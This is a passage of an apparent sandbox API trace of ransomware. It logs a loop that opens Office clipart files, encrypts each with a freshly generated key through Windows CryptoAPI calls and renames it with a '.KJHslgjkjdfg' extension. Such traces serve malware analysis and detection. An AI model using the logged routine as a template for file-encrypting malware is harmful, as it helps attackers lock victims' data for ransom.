returned 1 [0193.030] GetProcessHeap () returned 0x2ef0000 [0193.030] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.030] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.030] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.030] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.030] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.030] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.030] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.030] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.030] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.030] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.031] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6906, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6906, lpOverlapped=0x0) returned 1 [0193.032] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6910, dwBufLen=0x6910 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6910) returned 1 [0193.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.032] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6910, lpOverlapped=0x0) returned 1 [0193.032] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x69e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.032] SetEndOfFile (hFile=0x130) returned 1 [0193.035] GetProcessHeap () returned 0x2ef0000 [0193.035] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.035] GetProcessHeap () returned 0x2ef0000 [0193.035] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.kjhslgjkjdfg")) returned 1 [0193.039] CloseHandle (hObject=0x130) returned 1 [0193.039] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0193.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.039] GetProcessHeap () returned 0x2ef0000 [0193.039] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.040] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.043] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.043] GetProcessHeap () returned 0x2ef0000 [0193.043] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.043] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.043] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.043] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.044] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7114, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7114, lpOverlapped=0x0) returned 1 [0193.045] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7120, dwBufLen=0x7120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7120) returned 1 [0193.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.045] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7120, lpOverlapped=0x0) returned 1 [0193.045] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.045] SetEndOfFile (hFile=0x130) returned 1 [0193.047] GetProcessHeap () returned 0x2ef0000 [0193.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.048] GetProcessHeap () returned 0x2ef0000 [0193.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.kjhslgjkjdfg")) returned 1 [0193.051] CloseHandle (hObject=0x130) returned 1 [0193.051] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0193.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.051] GetProcessHeap () returned 0x2ef0000 [0193.051] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.051] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.054] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.054] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.054] GetProcessHeap () returned 0x2ef0000 [0193.054] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.054] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.054] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.054] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.055] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.055] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d74, lpOverlapped=0x0) returned 1 [0193.056] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d80) returned 1 [0193.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.056] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d80, lpOverlapped=0x0) returned 1 [0193.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.056] SetEndOfFile (hFile=0x130) returned 1 [0193.058] GetProcessHeap () returned 0x2ef0000 [0193.058] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.058] GetProcessHeap () returned 0x2ef0000 [0193.058] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.kjhslgjkjdfg")) returned 1 [0193.075] CloseHandle (hObject=0x130) returned 1 [0193.075] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0193.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.076] GetProcessHeap () returned 0x2ef0000 [0193.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.076] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.078] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.078] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.078] GetProcessHeap () returned 0x2ef0000 [0193.078] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.079] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.079] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.079] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.080] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x57f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x57f4, lpOverlapped=0x0) returned 1 [0193.081] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5800, dwBufLen=0x5800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5800) returned 1 [0193.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.082] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5800, lpOverlapped=0x0) returned 1 [0193.082] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x58d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.082] SetEndOfFile (hFile=0x130) returned 1 [0193.084] GetProcessHeap () returned 0x2ef0000 [0193.084] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.084] GetProcessHeap () returned 0x2ef0000 [0193.084] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.kjhslgjkjdfg")) returned 1 [0193.087] CloseHandle (hObject=0x130) returned 1 [0193.087] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0193.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.088] GetProcessHeap () returned 0x2ef0000 [0193.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.088] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.103] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.103] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.103] GetProcessHeap () returned 0x2ef0000 [0193.103] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.103] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.103] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, 